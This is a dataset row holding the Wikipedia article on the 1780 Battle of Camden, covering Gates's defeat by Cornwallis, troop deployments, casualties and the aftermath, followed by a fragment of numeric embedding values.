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241321 | https://en.wikipedia.org/wiki/Battle%20of%20Camden | Battle of Camden | The Battle of Camden (August 16, 1780), also known as the Battle of Camden Court House, was a major victory for the British in the Southern theater of the American Revolutionary War. On August 16, 1780, British forces under Lieutenant General Charles, Lord Cornwallis routed the numerically superior U.S. forces led by Major General Horatio Gates about four miles north of Camden, South Carolina, thus strengthening the British hold on the Carolinas following the capture of Charleston.
The rout was a personally humiliating defeat for Gates, the U.S. general best known for commanding the American forces at the British defeat at Saratoga three years previously. His army had possessed a great numerical superiority over the British force, having twice the personnel, but his command of them was seen as disorganized and chaotic. Following the battle, he was regarded with disdain by his colleagues and he never held a field command again. His political connections, however, helped him avoid any military inquiries or courts martial into the debacle.
Background
Following the British defeat at Saratoga in 1777, and the Battle of Monmouth in 1778, the French entered the American Revolutionary War in June 1778, followed by the Spanish in June 1779. With the war at a stalemate in the north, the British decided to renew their "southern strategy" to win back their rebellious North American colonies. The strategy relied on the Loyalists joining forces with British regulars to roll northward through North Carolina and Virginia, besieging the rebels in the north on all sides. This campaign repeated the successful December 1778 Capture of Savannah, with Sir Henry Clinton's successful Siege of Charleston in May 1780. British forces then campaigned in the Back Country, capturing the key towns of Georgetown, Cheraw, Camden, Ninety Six, and Augusta. Clinton returned to New York on 5 June, after the southern remnants of the Continental Army were defeated in May at the Battle of Waxhaws, tasking Lord Cornwallis with the pacification of the remaining portions of the state.
The Patriot resistance remaining in South Carolina consisted of militia under commanders such as Thomas Sumter, William Davie, and Francis Marion. Washington sent Continental Army regiments south, consisting of the Maryland Line and Delaware Line, under the temporary command of Major General Jean, Baron de Kalb. Departing New Jersey on 16 April, they arrived at the Buffalo Ford on the Deep River, 30 miles south of Greensboro, in July. Horatio Gates, the "Hero of Saratoga" arrived in camp on 25 July, to take command. Two days later, Gates ordered his army to take the direct road to Camden, against the advice of his officers, including Otho Holland Williams. Williams noted the country they were marching through "was by nature barren, abounding with sandy plains, intersected by swamps, and very thinly inhabited," and what few inhabitants they might come across were most likely hostile. All of the troops had been short of food since arrival at the Deep River.
On 7 August, Gates was joined by 2,100 North Carolina militiamen under the command of General Richard Caswell. At Rugeley's Mill, 15 miles north of Camden, 700 Virginia Militia under the command of General Edward Stevens joined Gates' "Grand Army". In addition, Gates had Armand's Legion. However, at this stage, Gates no longer had the help of Marion's or Sumter's men, and in fact had sent 400 of his Continentals to help Sumter with a planned attack on a British supply convoy. Gates also refused the help of Col. William Washington's cavalry. Apparently Gates planned on building defensive works 5.5 miles north of Camden in an effort to force British abandonment of that important town. Gates told his aide Thomas Pinckney he had no intention of attacking the British with an army consisting mostly of militia.
Camden was garrisoned by about 1,000 men under Lord Rawdon. General Cornwallis, alerted to Gates' movement on August 9, marched from Charleston with reinforcements, arriving at Camden on August 13, increasing the effective British troop strength to 2,239 men.
Gates ordered a night march to commence at 10:00 p.m. on 15th Aug., despite his army of 3,052, of which two-thirds were militia, having never maneuvered together. Unfortunately, their evening meal acted as a purgative while they marched, with Armand's horse in the lead. On a collision course was Cornwallis' army, also on a 10:00 p.m. night march, with Tarleton's dragoons in the lead. A short period of confusion ensued when the two forces collided around 2:00 a.m., but both sides soon separated, not wanting a night battle.
Deployments
Gates formed up before first light. On his right flank he placed Mordecai Gist's 2nd Maryland Brigade (three regiments) and the Delaware Regiment, with Baron de Kalb in overall command of the right wing. On his left flank, he placed Caswell's 1,800 North Carolina militia; to the left of them were Stevens' 700 Virginians, and behind the Virginians were 120 men of Armand's Legion. Gates and staff stayed behind the reserve force, Smallwood's 1st Maryland Regiment, about 200 yards behind the battle line. Thus, the total number of Continentals on the field numbered 900. Gates placed seven guns along the line, manned by about 100 men. Also present, but whose disposition was unknown, were 70 mounted volunteer South Carolinians. Gates' formation, though a typical British practice of the time, placed his weakest troops against the most experienced British regiments, while his best troops would face only the weaker elements of the British forces.
Cornwallis had roughly 2,239 men, including Loyalist militia and Volunteers of Ireland. Cornwallis also had the infamous and highly experienced Tarleton's Legion, who were formidable in a pursuit situation. Cornwallis formed his army into two brigades. On the right was Lt. Col James Webster, facing the inexperienced militia with the 23rd Royal Welch Fusiliers and the 33rd Regiment of Foot. Lord Rawdon was in command of the left, facing the Continental Infantry with the Irish Volunteers, Banastre Tarleton's infantry and the Loyalist troops. In reserve, Cornwallis had two battalions of the 71st Regiment of Foot and Tarleton's cavalry force. He also placed four guns in the British center. As Gates had done, Cornwallis placed his more experienced units on the right flank, and his less experienced units on the left flank.
Battle
Gates ordered Stevens and de Kalb to attack, while Cornwallis issued the same order to Webster. The 800 strong 33rd Fusiliers advanced with bayonets towards the 2,500 soldiers in the Virginia and North Carolina militia. The militia, however, had never used bayonets before. The American left wing collapsed as the Virginians and then the North Carolinians fled. The Virginians fled so fast that they suffered only three wounded. The North Carolinians fled all the way back to Hillsborough, North Carolina.
According to Williams, referring to the British charge, "the impetuosity with which they advanced, firing and huzzaing, threw the whole body of militia into such a panic that they generally threw down their loaded arms and fled in the utmost consternation. The unworthy example of the Virginians was almost instantly followed by the North Carolinians."
Furthermore, in a letter to Thomas Jefferson, then governor of Virginia, "picture it as bad as you possibly can and it will not be as bad as it really is."
A member of the North Carolina militia, Garret Watts, later confessed, "It was instantaneous. There was no effort to rally, no encouragement to fight. Officers and men joined in the flight. I threw away my gun..."
Rawdon's troops advanced in two charges, but heavy fire repulsed his regiments. The Continental troops then launched a counterattack which came close to breaking Rawdon's line, which began to falter. Cornwallis rode to his left flank and steadied Rawdon's men. Instead of pursuing the fleeing militia, Webster wheeled to the left, into the Continentals. One of the North Carolina militia brigades that had been stationed next to the Delaware Line held its ground, the only militia unit to do so.
De Kalb called up the reserve 1st Maryland Brigade to support the 2nd, but they could get no closer than several hundred feet. However, as Lt. Col. Benjamin Ford of the 6th Maryland Regiment stated to Williams' entreaties, "We are outnumbered and outflanked. See the enemy charge with bayonets." With the British closing in on three sides, Cornwallis ordered Tarleton's cavalry to charge into the rear of the Continental line. The cavalry charge broke up the formation of the Continental troops, who finally broke and fled. However, Gist was able to move 100 Continentals in good order through a swamp, where the cavalry could not follow. Additionally, about 50 to 60 Maryland Line Continentals, under the leadership of Maj. Archibald Anderson, Lt. Col. John Eager Howard, and Capt. Robert Kirkwood, were able to retreat in good order.
According to Tarleton, "rout and slaughter ensued in every quarter."
De Kalb, attempting to rally his men, was unhorsed, and would die of his numerous wounds (11 in total; 8 by bayonet and 3 by musket balls) two days later as a British prisoner. After just one hour of combat, the American troops had been utterly defeated, suffering over 2,000 casualties. Tarleton's cavalry pursued and harried the retreating Continental troops for some before drawing rein. By that evening, Gates, mounted on a swift horse, had taken refuge away in Charlotte, North Carolina.
According to Charles Stedman, one of Cornwallis' officers, "The road for some miles was strewn with the wounded and killed who had been overtaken by the legion in their pursuit. The numbers of dead horses, broken wagons, and baggage scattered on the road formed a perfect scene of horror and confusion: Arms, knapsacks, and accoutrements found were innumerable; such was the terror and dismay of the Americans."
Casualties
The British casualties were 68 killed, 245 wounded and 11 missing.
Hugh Rankin says, "of the known dead, 162 were Continentals, 12 were South Carolina militiamen, 3 were Virginia militiamen and 63 were North Carolina militiamen". David Ramsay says, "290 American wounded prisoners were carried into Camden after this action. Of this number, 206 were Continentals, 82 were North Carolina militia and 2 were Virginia militia. The resistance made by each corps may in some degree be estimated from the number of wounded. The Americans lost the whole of their artillery - 8 field pieces, upwards of 200 wagons and the greatest part of their baggage." A letter from Cornwallis to Lord George Germain, dated 21 August 1780, says that his army took "about one thousand Prisoners, many of whom wounded" on August 18.
The website Documentary History of the Battle of Camden, 16 August 1780 details on its Officer Casualties at Camden page the fates of 48 Continental officers at Camden: 5 were killed, 4 died of wounds, 4 were wounded without being captured, 11 were wounded and captured and 24 were captured without being wounded. These ratios would suggest that many of the Americans wounded in the battle escaped capture.
Analysis
There are many reasons given for Gates' defeat. The most prominent are the following:
Tactical evaluation
Gates, as a former British officer, was accustomed to the traditional British deployment of the most experienced regiments on the place of honor: the right flank of the battle line. Gates had therefore placed the Continental regiments on his right flank, and the mass of militia which had joined him—of whom nearly all of the Virginians had never been in a battle—on the left flank, facing the most experienced British regiments. Gates was also too far behind his troops to observe the battle or see what the British were doing. Tarleton claims Gates made four errors, including not taking a stronger position on Saunders' Creek before Cornwallis arrived, moving his army at night, the placement of his militia, and the adjustment of his disposition just before battle.
Strategic evaluation
Aside from tactics on the battlefield, Gates had made several strategic errors before joining the battle:
His aggressive movement brought his forces deep into pro-British territory, where residents still loyal to the Crown would provide no supplies, nor join his army.
So far from their supply lines, Gates' forces were weakened by lack of adequate food, many of them falling victim to diarrhea.
Gates took great confidence in his victory at Saratoga but erred in mapping the inexperience of Burgoyne (his opponent in that battle) onto Cornwallis, who was a gifted strategist.
Aftermath
Gates proceeded onwards to Hillsborough, a distance of 180 miles, where he arrived on the 19th and then composed his report to Congress on 20 Aug. The report to the President of the Continental Congress, Samuel Huntington, began, "In deepest Distress and Anxiety of Mind, I am obliged to acquaint your Excellency with the Total Defeat of the Troops under my Command." In a 30 Aug. letter to George Washington, Gates wrote, But if being unfortunate is solely a Reason sufficient for removing me from Command I shall most cheerfully submit to the Orders of Congress; and resign an office few Generals would be anxious to possess..."
Gates lost control of the southern army. However, Daniel Morgan and Nathanael Greene defended Gates' actions, but not his decision to fight. Major General Greene, George Washington's original preference, was subsequently given command of the southern army.
Gates, who had strong political connections in the Continental Congress, successfully avoided inquiries into the debacle.
Legacy
The Camden Battlefield is located about north of Camden. Approximately 479 acres of the core of the battlefield is owned by the Palmetto Conservation Foundation, and is undergoing preservation in private-public partnership. The original five acres were owned by the Hobkirk Chapter of the Daughters of the American Revolution who gave their portion over to the current owners. The site was declared a National Historic Landmark in 1961, and placed on the National Register of Historic Places in 1966.
Aspects of the battle were included in the 2000 movie The Patriot, in which Ben and Gabriel Martin are seen watching a similar battle. Ben comments at the stupidity of Gates fighting "muzzle to muzzle with Redcoats". The film is not historically accurate, depicting too many Continental troops relative to the number of militia, and showing the Continentals and militia retreating at the same time.
Order of battle
British and Loyalists
The British and loyalist order of battle was as follows:
Overall Command: Lt. Gen. Lord Cornwallis
Right Brigade:
Commanding Officer: Lt. Col. James Webster
23rd Regiment of Foot
33rd Regiment of Foot
2 guns
Left Brigade:
Commanding Officer: Col. Lord Rawdon
2nd American Regiment
Infantry, British Legion
Loyalist Militia:
John Hamilton's Royal North Carolina Regiment
Morgan Bryan's North Carolina Volunteers
2 guns
Reserves:
71st Regiment of Foot: Lt. Col. Alexander McDonald
Dragoons, British Legion: Lt. Col. Banastre Tarleton
Patriots
The Patriots' order of battle consisted of 4,100 soldiers:
Overall Command: Maj. Gen. Horatio Gates
Right Flank:
Commanding Officer: Brig. Gen. Mordecai Gist
2nd Maryland Regiment
1st Delaware Regiment
3 guns
Center:
Commanding Officer: Brig. Gen. Richard Caswell
North Carolina state militia (Hillsborough District Brigade, Salisbury District Brigade, Edenton District Brigade, Halifax District Brigade, New Bern District Brigade, Wilmington District Brigade
2 guns
Left Flank:
Commanding Officer: Brig. Gen. Edward Stevens
Virginia Militia
Armand's Legion
Reserve:
Commanding Officer: Brig. Gen. William Smallwood
1st Maryland Regiment
2 guns
See also
American Revolutionary War § War in the South. Places ' Battle of Camden ' in overall sequence and strategic context.
Notes
References
Boatner, Mark Mayo, Cassell's Biographical Dictionary of the American War of Independence, 1763-1783, Cassell and Company Ltd., London, 1966.
Buchanan, John, The Road to Guilford Courthouse: The Revolution In The Carolinas.1997, John Wiley and Sons,
Ramsay, David, The History of the American Revolution, Liberty Fund, Indianapolis, 1990 (first published 1789), Volume II
Russell, David Lee The American Revolution in the Southern Colonies 2000.
Ward, Christopher War of the Revolution 2 Volumes, MacMillan, New York, 1952
External links
Battle Commemoration website - Includes a listing of American and British participants and casualties
Portrait of Baron DeKalb
Portrait of John Edgar Howard
Portrait of William Smallwood
Portrait of William Washington
Portrait of Otho Williams
History Animation of Battle of Camden
220 Broad Street - Historic Camden / Cornwallis House - Kershaw County at Roots & Recall
1780 in the United States
Conflicts in 1780
Camden
Camden
Camden
Kershaw County, South Carolina
Camden
1780 in South Carolina
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0.7500229477882385,
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0.5073411464691162,
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0.16381597518920898,
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-0.2685423493385315,
-0.638353705406189,
-0.7503719925880432,
0.08875402063131332
] |
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